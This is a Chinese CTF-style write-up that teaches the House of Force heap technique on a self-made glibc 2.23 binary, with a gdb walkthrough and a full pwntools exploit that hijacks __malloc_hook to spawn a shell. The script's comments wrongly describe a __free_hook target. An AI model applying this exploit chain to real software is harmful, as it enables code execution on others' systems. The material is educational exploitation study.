ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

24.House of Force 从零到 getshell

24.House of Force 从零到 getshell

📎my_force.zip

House of Force 从零到 getshell —— 一道自命题的完整调试记录

这是一道关于 House of Force 的自命题,名字叫 my_force,题目本身不复杂,主要用到的知识点是堆溢出。写这篇文章的目的不只是记一下 exp,而是把从 brk 到 main_arena 这条线理清楚,因为 House of Force 恰恰是把这一串概念串起来的一个技巧。

先交代环境:x86-64,glibc 2.23,No PIE,只开了 NX 和 Partial RELRO。下面按知识点扩充、静态分析、动态验证、说明四部分来写。

0. 知识点的扩充

1. brk 和 sbrk

这两个经常被混着叫,其实区别就一个:传的参数不一样。

brk 传的是目标绝对地址,直接告诉内核"堆顶设到这里";sbrk 传的是增量,"往上推多少字节"。

如果手上只有 brk,每次扩堆都得干这么三件事:先 brk(0) 问一下当前堆顶在哪,自己在用户态把新地址算出来,再 brk(新地址) 设回去。两次系统调用,还得自己维护"当前堆顶"这个值。

sbrk 就是给这堆活包了个壳。glibc 里有个静态变量 __curbrk 记着当前堆顶,sbrk(delta) 直接加上去,再调一次底层的 brk 落实。返回值也顺便给了,返回的是扩容前的旧堆顶,也就是新拿到那块内存的起点,拿来就能用。

所以 sbrk 的底层其实还是 brk,只是多做了一点记账和算术。

2. 堆的布局

堆是从低地址往高地址长的。.bss 上面那一段就是堆的起点,本题是 0x405000,再往上是内核给的 brk 边界线,中间这片没分出去的空间就是 top chunk。

高地址 0x426000 +--------------------------+ ← 内核 brk 边界 | Top Chunk | 0x4056c0 +--------------------------+ ← main_arena.top | 已分配的 chunk | 0x405000 +--------------------------+ ← 堆起点 | .bss / .data | 低地址 +--------------------------+

每次 malloc 从 top 上切一块,top 就往上挪一截。chunk 头里的 size 记的是"从这块头开始一共占多少字节",最低位是 PREV_INUSE 标志位,所以 0x110 的块在内存里写的是 0x111。

越过 brk 边界去访问会直接段错误,因为那块内存内核还没给权限。所以 top chunk 的 size 实际上反映了"还能安全用多少"。

3. arena

早年的分配器只有一个堆、一套空闲链表、一个 top。单线程当然没问题,多线程就麻烦了:大家都去切同一个 top,指针必然乱,只能加锁。结果十个线程抢一把锁,多核直接退化成排队。

ptmalloc 的办法是给线程发独立金库,每个 arena 就是一份完整的管理结构(struct malloc_state),有自己的锁、自己的 bins、自己的 top。线程 A 去 1 号 arena,线程 B 去 2 号,各锁各的门,互不干扰。

struct malloc_state 里最关键的就三个字段:

struct malloc_state { __libc_lock_define (, mutex); // 这个 arena 自己的锁 int flags; mfastbinptr fastbinsY[NFASTBINS]; // fastbin 链表 mchunkptr top; // 本 arena 专属的 top chunk 指针 mchunkptr last_remainder; mchunkptr bins[NBINS * 2 - 2]; // unsorted / small / large bins ... };

这里有个容易忽略的地方:top 指针是放在 arena 里的,不是全局的。所以每个 arena 各有一个 top,改 main_arena.top 只影响主分配区。

4. 什么时候会走 mmap

这一条在本题里没触发,但看别的堆题时经常要对上号:

  • 单次申请超过阈值,默认是 128KB(DEFAULT_MMAP_THRESHOLD)。走 mmap 的好处是 free 的时候能 munmap 直接还给系统,不会在堆里留个洞;否则一块 10MB 的内存在传统堆里被释放后,上面只要还压着一个没释放的小块,堆顶就降不下来。
  • 子线程要新建 arena,或者某个子 arena 的 top 用光了。因为整个进程只有一条 brk 边界,被主分配区占着,子分配区只能靠 mmap 另找地盘,一次映射 64MB 虚拟空间,先只把头部那块设成可读写,后面按需 mprotect。
  • 主 arena 用 brk 扩容失败,比如撞上了上面的其他映射,或者被 RLIMIT_DATA 卡住,这时候会退而求其次用 mmap 找块空地当新 top,这种情况叫 non-contiguous main arena。
  • 环境变量或者 mallopt 把阈值调小了,或者程序干脆换成了 jemalloc / tcmalloc。

本题全程一个主线程、小内存,所以老老实实走 brk,堆是一根连续的线。

5. 每个 arena 都有自己的 top

高地址 +---------------------------------------+ | 栈空间 (Stack) | +=======================================+ ← 子堆天花板 | 子 Arena 的 Top Chunk | ← thread_arena->top +---------------------------------------+ | 子线程已分配的 Chunks | | heap_info / malloc_state(子账本) | +=======================================+ ← mmap 出来的子堆起点 | ... | +=======================================+ ← 主堆顶(brk) | 主 Arena 的 Top Chunk | ← main_arena.top +---------------------------------------+ | 主线程已分配的 Chunks | +=======================================+ ← start_brk | .bss / .data / 代码段 | 低地址 +---------------------------------------+

main_arena 和 thread_arena 都是 struct malloc_state 的实例,所以各自都有自己的 top,互不干扰。

6. request2size

用户说"我要 256 字节",glibc 不能真给 256。一是块前面得挂元数据(prev_size 加 size,64 位下 16 字节),二是块大小必须 16 字节对齐。

#define request2size(req) \ (((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) // SIZE_SZ = 8, MALLOC_ALIGN_MASK = 0xf,化简就是 (req + 0x17) & ~0xf

代进去算:malloc(0x100) 得 0x110,malloc(0x500) 得 0x510,malloc(0x90) 得 0xa0,都对得上。

这个公式在 House of Force 里是致命的,后面 req = nb - 0x10 那个减 0x10 就是从这儿来的。

7. malloc_hook 和 free_hook

这两个是 glibc 留下的全局函数指针,各占 8 字节,住在 libc 的数据段里。它不为 NULL 的时候,原本的分配/释放流程就整个被顶掉。

void *__libc_malloc(size_t bytes) { void *(*hook)(size_t, const void *) = atomic_forced_read(__malloc_hook); if (hook != NULL) return (*hook)(bytes, RETURN_ADDRESS(0)); // 不分配,直接调 return _int_malloc(arena, bytes); } void __libc_free(void *mem) { void (*hook)(void *, const void *) = atomic_forced_read(__free_hook); if (hook != NULL) { (*hook)(mem, RETURN_ADDRESS(0)); // 不释放,调完就返回 return; } _int_free(arena, mem, 0); }

注意两者参数不一样:malloc_hook 第一个参数是请求的字节数,free_hook 第一个参数是被释放的指针。这个差别决定了后面给 system 喂 /bin/sh 的方式完全不同——用 malloc_hook,把 /bin/sh 的地址当成 size 传进去就行;用 free_hook,则要让那个指针指向的内容是 /bin/sh 字符串。

检查发生在函数最开头、arena_get 之前,所以后面所有的堆校验、bin 遍历都不会走。这也是它能当"任意写 → 代码执行"终结点的原因。

8. main_arena

main_arena 是主分配区的账本,谁空了、空在哪、还剩多少、下次从哪切,都写在里面。它在 libc 数据段,偏移固定,这份 libc 里 main_arena = __malloc_hook + 0x10。

顺带说一句 unsorted bin:往里面插块的时候,块的 fd / bk 会被写成链表头的地址,而链表头就在 main_arena + 0x58。所以只要 free 一个够大的块,它用户区前 16 字节就会出现一个 libc 地址,这就是后面泄露 libc 的来源。

1. 静态分析

菜单就四个功能,源码很直白,这里不逐行解释,直接看关键位置。

alloc 用 malloc(size) 申请,size 走的是 strtoull 而不是 atoi,所以能送进去真正的大数;申请完还把地址打印出来,等于白送一个堆地址。edit 用 read(0, ptrs[i], nbytes) 写数据,nbytes 完全由输入决定。show 用 write(1, ptrs[i], sizes[i]),用的是申请时记录的大小。free 之后立刻把指针置空、大小清零。

漏洞在 edit 这一段:

v6 = read_int("idx: "); nbytes = read_size("len: "); if ( (unsigned int)v6 > 0xF || !*((_QWORD *)&ptrs + v6) ) goto LABEL_26; printf("data: "); if ( read(0, *((void **)&ptrs + v6), nbytes) != nbytes ) puts("[-] short read");

它只做了两件事:检查下标合不合法,检查指针是不是空。nbytes 和 sizes[v6] 之间没有任何比较,read 会老实地从 ptrs[v6] 开始写 nbytes 个字节,写多少是多少。

那个看着有点怪的 (unsigned int)v6 > 0xF 其实是源码里 i < 0 || i >= MAXSLOT 被编译器优化成了无符号比较,负数和越界一次挡住。所以下标这边没文章可做,能动手的只有长度。

另外 free 之后指针被置空,没有 UAF 也没有 double free;show 用的是记录大小,读的那一端也是安全的。整道题就留了这一个口子。

2. 动态验证

环境是 pwndbg + gdb,ASLR 关掉方便对照地址。

2.1 先把关键地址算出来

gdb -q ./my_force set pagination off set confirm off set disable-randomization on start p/x &__malloc_hook

【你应该看到】

$1 = 0x7ffff7bc4b10

有了它,剩下的都是加偏移:

set $hook = 0x7ffff7bc4b10 # __malloc_hook 的地址 set $libc = $hook - 0x3c4b10 # libc 基址 = 0x7ffff7800000 set $T = $libc + 0x3c4b00 # 目标 top = 0x7ffff7bc4b00 set $sys = $libc + 0x45390 # system = 0x7ffff7845390 set $binsh = $libc + 0x18cd57 # "/bin/sh" = 0x7ffff798cd57

这里我额外打了个断在 read_int 上,方便每个提示符前停下来看内存。这里提醒一句,别用 commands / continue / end 那一套,pwndbg 会直接报 DEADLOCK,手动 c 反而更省事。

2.2 把堆搭起来

1 256 1 1280 1 144

【你应该看到】

[0] = 0x405010 (size=256) [1] = 0x405120 (size=1280) [2] = 0x405630 (size=144)

heap 看一眼:

Allocated chunk | PREV_INUSE Addr: 0x405000 Size: 0x110 (0x111) Allocated chunk | PREV_INUSE Addr: 0x405110 Size: 0x510 (0x511) Allocated chunk | PREV_INUSE Addr: 0x405620 Size: 0xa0 (0xa1) Top chunk | PREV_INUSE Addr: 0x4056c0 Size: 0x20940 (0x20941)

三块首尾相接,top 在 0x4056c0。顺便确认一件事:2.23 没有 tcache,free 掉的块不会先进 tcache 队列,而是直接进 bins 或者并进 top。

2.3 泄露 libc

先把 0x500 那块 free 掉。它后面挡着一个 0x90 的 guard 块,所以不会并进 top,而是老老实实进 unsorted bin。

4 1
x/4gx 0x405110

【你应该看到】

0x405110: 0x0000000000000000 0x0000000000000511 0x405120: 0x00007ffff7bc4b78 0x00007ffff7bc4b78

两个指针相等,都是 0x7ffff7bc4b78,减去 0x3c4b78 正好是 libc 基址 0x7ffff7800000。它同时也是 main_arena + 0x58,也就是 unsorted bin 的链表头。

拿到之后按原大小申请回来。malloc 从 unsorted bin 摘块的时候不会清空块里的数据,所以那 16 字节还在:

1 1280 3 1

show 出来的是一串乱码,这是正常的,它就是那 8 字节的小端形式,不用管。想看清楚就用 gdb:

x/2gx 0x405120

【你应该看到】

0x405120: 0x00007ffff7bc4b78

2.4 把 top 挪回来

现在还要让 top 退到 p0 后面,才能用溢出打到它的 size。把 guard 和 0x500 那块依次 free 掉,它们会依次并进 top。

4 2 4 1
x/2gx 0x405110

【你应该看到】

0x405110: 0x0000000000000000 0x0000000000020ef1

0x405110 现在是 top 的头,等于 p0 + 0x100;size 从 0x20941 涨到 0x20ef1,正好是 0x20940 + 0xa0 + 0x510。这一步对上了,说明合并没出岔子。这时候再去 bins 里看,已经空了,全给 top 吃回去了。

2.5 溢出,打掉 top 的 size

2 0 272

然后输入 272 个字符,我直接敲了一串 A。

x/2gx 0x405110

【你应该看到】

0x405110: 0x4141414141414141 0x4141414141414141

p0 的可用区是 0x100 字节,写 272 就多出 0x10,正好盖到 0x405110(next chunk 的 prev_size)和 0x405118(size,也就是 top 的 size)。两个字段都变成 0x4141...,溢出确认。

再把 size 直接落成 -1。这一步用 gdb 写是因为 0xff 敲不进终端:

set {unsigned long}0x405118 = 0xffffffffffffffff x/2gx 0x405110

【你应该看到】

0x405110: 0x4141414141414141 0xffffffffffffffff

堆管理器从此认为这块 top 还剩 16 EB。

2.6 把 top 搬到 libc

现在的 top 在 0x405110,目标是 0x7ffff7bc4b00。要移动的字节数:

nb = 0x7ffff7bc4b00 - 0x405110 = 0x7ffff77bf9f0 req = nb - 0x10 = 0x7ffff77bf9e0 = 140737345485280

减 0x10 是因为 request2size 会自动加回来,不减的话 top 会多走 16 字节。

1 140737345485280

【你应该看到】

[1] = 0x405120 (size=140737345485280)

返回值本身没什么意义,就是旧 top 的用户指针,关键看 top 去哪了:

x/2gx 0x7ffff7bc4b00

【你应该看到】

0x7ffff7bc4b00: 0x0000000000000000 0xffff800008840609

0x7ffff7bc4b00 上出现了 chunk 头,size 是 0xffff800008840609(末位 1)。这个地址在 libc 数据段里,T + 0x10 正好是 __malloc_hook。

2.7 拿到 hook,写 system

1 32

【你应该看到】

[2] = 0x7ffff7bc4b10 (size=32)

一次"堆分配",返回了 libc 的地址,这就是 House of Force 的威力。

set {unsigned long}0x7ffff7bc4b10 = 0x7ffff7845390 x/gx 0x7ffff7bc4b10

【你应该看到】

0x7ffff7bc4b10 <__malloc_hook>: 0x00007ffff7845390

2.8 触发

1 140737347374423

这个数不是大小,是 "/bin/sh" 的地址(0x7ffff798cd57)。因为 hook 已经被改成 system,__libc_malloc 一进门就把这个"大小"当参数传给了 system,等于 system("/bin/sh")。

这一次连 _int_malloc 都没进去,所以在里面打断点是打不到的。接着敲 id:

【你应该看到】

uid=1000(bgl1) gid=1000(bgl1) ...

3. 说明

3.1 这一招到底做了什么

_int_malloc 从 top 切块的逻辑里,有一条几乎不设防的路径:

victim = av->top; size = chunksize(victim); if ((unsigned long)size >= (unsigned long)(nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset(victim, nb); // 纯加法,不查边界 av->top = remainder; ... return chunk2mem(victim); // 返回 victim + 0x10 }

size 被改成 -1 之后,那个 if 对任何 nb 都成立,remainder = victim + nb 也不看这个地址有没有意义,av->top 就这么被搬走了。

所以 House of Force 的实质不是"溢出"本身,而是篡改 main_arena.top 这个指针。溢出只是达成它的手段。

3.2 三个 0x10

  • T 必须 16 对齐,因为 chunk 是对齐分配的;
  • T + 0x10 必须是 __malloc_hook,因为 chunk2mem 固定加 0x10;
  • req = nb - 0x10,因为 request2size 固定要加回来。

一进一出,全是同一个 0x10。

3.3 为什么选 malloc_hook 不用 free_hook

__free_hook 在 0x3c67a8,末位是 8,不是 16 对齐。想打它就得让 T = __free_hook - 0x18,但那个位置紧挨着 __after_morecore_hook,libc 自己会把我们写进去的 size 改掉,实测读回来是一串乱七八糟的值,下一次 malloc 的准入检查直接失败。

__malloc_hook 在 0x3c4b10,T = 0x3c4b00 正好对齐,而且它前面那 8 字节程序不用,被写脏了也没影响。

再加上 malloc 这条路更短,__libc_malloc 进门就查 hook,参数还只是一个数字,把 /bin/sh 的地址传进去就完事,不需要在堆上另外准备一份字符串。

3.4 为什么 2.29 之后就死了

后面版本给这条路径加了一句范围检查:

if (__glibc_unlikely (size <= 2 * SIZE_SZ) || __glibc_unlikely (size > av->system_mem)) malloc_printerr ("malloc(): corrupted top size");

-1 显然大于 system_mem(当前从系统拿到的总量),直接 abort。所以这个技巧只在 2.23 / 2.27 / 2.28 上有效,再往后就得换 tcache poisoning 或者 large bin attack 那些路子。

3.5 这题是一次性的

top 一旦被搬进 libc,堆就废了,main_arena.top 指向数据段,后面任何一次 malloc 都会从那块"假堆"上切,正常逻辑全乱。

所以顺序不能错,也不能中途重来。我在 exp 里前面加了一堆 assert 就是这个原因,宁可提前报错,也不要带着错位跑到底再崩。

3.6 实际踩到的几个坑

  • edit 分支是先读 len 再判 idx 的。想用非法下标绕回菜单、骗一个断点,len 那一步也得给个数,不然程序就停在那儿等输入,看着像卡死。
  • pwndbg 里用 commands 块配 continue 会报 DEADLOCK,改成手动 c 更稳。
  • 发布版 libc 是 strip 过的,_int_malloc、main_arena 这些内部符号 gdb 认不出来。要看分配情况就断 malloc(参数在 rdi),或者干脆看程序自己打印的 size=。
  • 泄露那一步读出来的 8 字节是二进制,终端显示成乱码属于正常现象,用 gdb 的 x/2gx 对照确认就行。
  • 题目里 guard 块必须大于 0x80。小于等于 0x80 会进 fastbin,free 之后不会和 top 合并,后面算 top 位置就会全错。

3.7 最后

House of Force 的思路很直接:用一个堆溢出把 top 的 size 改成 -1,再用一次巨额 malloc 把 top 送到目标旁边,接着一次 malloc 就把那块内存交到手上。

它的短板也很明显,版本卡死、一次性、依赖地址已知。但作为理解 main_arena.top 和 request2size 的练习题,它把最核心的几个概念串得挺完整。

4.脚本

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ my_force —— House of Force 自出题 exp(glibc 2.23-0ubuntu10) 利用链: [1] 泄露:free 一个 0x500 的块进 unsorted bin(后面有 guard,不会被并入 top), 重新 malloc 取回同一块,show 读前 8 字节 = main_arena+0x58 -> libc base [2] 恢复堆布局:free(guard) + free(leak_chunk) 让 top 回到 p0 之后 [3] 溢出:edit(p0) 的 len 不校验 -> 覆盖 top->size = -1 [4] malloc(evil):top = old_top + request2size(evil) 被挪到 __free_hook 附近 [5] malloc(0x20) 返回 __free_hook-8,edit 写入 system [6] malloc(0x30) 写 "/bin/sh",free 触发 __free_hook -> system("/bin/sh") 本目录 libc 偏移(nm -D libc-2.23.so 实测): __free_hook = 0x3c67a8 system = 0x45390 unsorted(fd) = main_arena+0x58 = 0x3c4b78 """ from pwn import * import os import re context(arch='amd64', log_level=os.environ.get('LV', 'info')) HERE = os.path.dirname(os.path.abspath(__file__)) LIBC_UNSORTED = 0x3c4b78 LIBC_MALLOC_HOOK = 0x3c4b10 LIBC_BINSH = 0x18cd57 LIBC_SYSTEM = 0x45390 # House of Force 的目标 top:必须 16 对齐,且 top+0x10 落在 __free_hook 前 8 字节 # 取 T = libc + 0x3c6790 => 下一次 malloc 返回 libc+0x3c67a0 = __free_hook - 8 HOF_TOP_OFF = 0x3c4b00 def start(): p = process(os.path.join(HERE, 'my_force'), cwd=HERE) p.timeout = 4 return p def alloc(p, size): p.sendlineafter(b'> ', b'1') p.recvuntil(b'size: ') p.sendline(str(size).encode()) line = p.recvline() m = re.search(rb'0x[0-9a-f]+', line) return int(m.group(0), 16) def edit(p, idx, data): p.sendlineafter(b'> ', b'2') p.recvuntil(b'idx: ') p.sendline(str(idx).encode()) p.recvuntil(b'len: ') p.sendline(str(len(data)).encode()) p.recvuntil(b'data: ') p.send(data) p.recvuntil(b'\n') # edit 结束后的空行 def show(p, idx, n): p.sendlineafter(b'> ', b'3') p.recvuntil(b'idx: ') p.sendline(str(idx).encode()) data = p.recvn(n) p.recvuntil(b'\n') return data def free(p, idx): p.sendlineafter(b'> ', b'4') p.recvuntil(b'idx: ') p.sendline(str(idx).encode()) def main(): p = start() # ---------------- [1] 泄露 libc ---------------- p0 = alloc(p, 0x100) # idx0:HoF 受害者,将来与 top 相邻 p1 = alloc(p, 0x500) # idx1:泄露用 p2 = alloc(p, 0x90) # idx2:guard(>0x80 避免进 fastbin),阻止 p1 free 时并入 top log.info("p0=%#x p1=%#x p2=%#x", p0, p1, p2) assert p1 == p0 + 0x100 + 0x10, "堆布局不符合预期" assert p2 == p1 + 0x510, "堆布局不符合预期" free(p, 1) # p1 -> unsorted bin p1b = alloc(p, 0x500) # 精确取回,fd 未被清零 assert p1b == p1 leak = u64(show(p, 1, 8)) libc = leak - LIBC_UNSORTED assert libc & 0xfff == 0, "libc 基址未页对齐: %#x" % libc log.success("leak=%#x libc=%#x", leak, libc) # ---------------- [2] 恢复布局:top 回到 p0 之后 ---------------- free(p, 2) # guard 并入 top free(p, 1) # p1 与 top 相邻 -> 合并,top = p1 = p0+0x110 top = p0 + 0x100 # p0 的 chunk 头 + 0x110 = user0 + 0x100 top_size_addr = top + 8 # ---------------- [3] 溢出改写 top->size = -1 ---------------- payload = b'A' * 0x100 + p64(0) + p64(0xffffffffffffffff) assert len(payload) == 0x110 edit(p, 0, payload) log.success("top->size @ %#x 已改为 -1", top_size_addr) # ---------------- [4] 把 top 挪到目标 ---------------- T = libc + HOF_TOP_OFF # request2size(req) = (req+23) & ~15;取 req = (T-top)-0x10 可得 nb = T-top req = (T - top) - 0x10 log.info("T=%#x req=%#x", T, req) evil = alloc(p, req) # 只分配,不读入 # ---------------- [5] malloc(0x20) 返回 __free_hook-8 ---------------- hook_user = alloc(p, 0x20) log.success("malloc(0x20) -> %#x (expect %#x)", hook_user, libc + LIBC_MALLOC_HOOK) assert hook_user == libc + LIBC_MALLOC_HOOK edit(p, 2, p64(libc + LIBC_SYSTEM)) log.success("__malloc_hook = system") # ---------------- [6] 触发:malloc 实参 = "/bin/sh" 地址 ---------------- # 注意:__libc_malloc 一进来就查 __malloc_hook,不会真的分配, # 所以实参可以是任意大的地址 —— 这里就是 libc 里的 "/bin/sh" 字符串。 p.sendlineafter(b'> ', b'1') p.recvuntil(b'size: ') p.sendline(str(libc + LIBC_BINSH).encode()) # malloc(0x18cd57) -> system("/bin/sh"),不会打印地址行 p.sendline(b'echo PWNED_HOF && id && exit') print(p.recvrepeat(3).decode(errors='replace')) p.close() if __name__ == '__main__': main()
RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进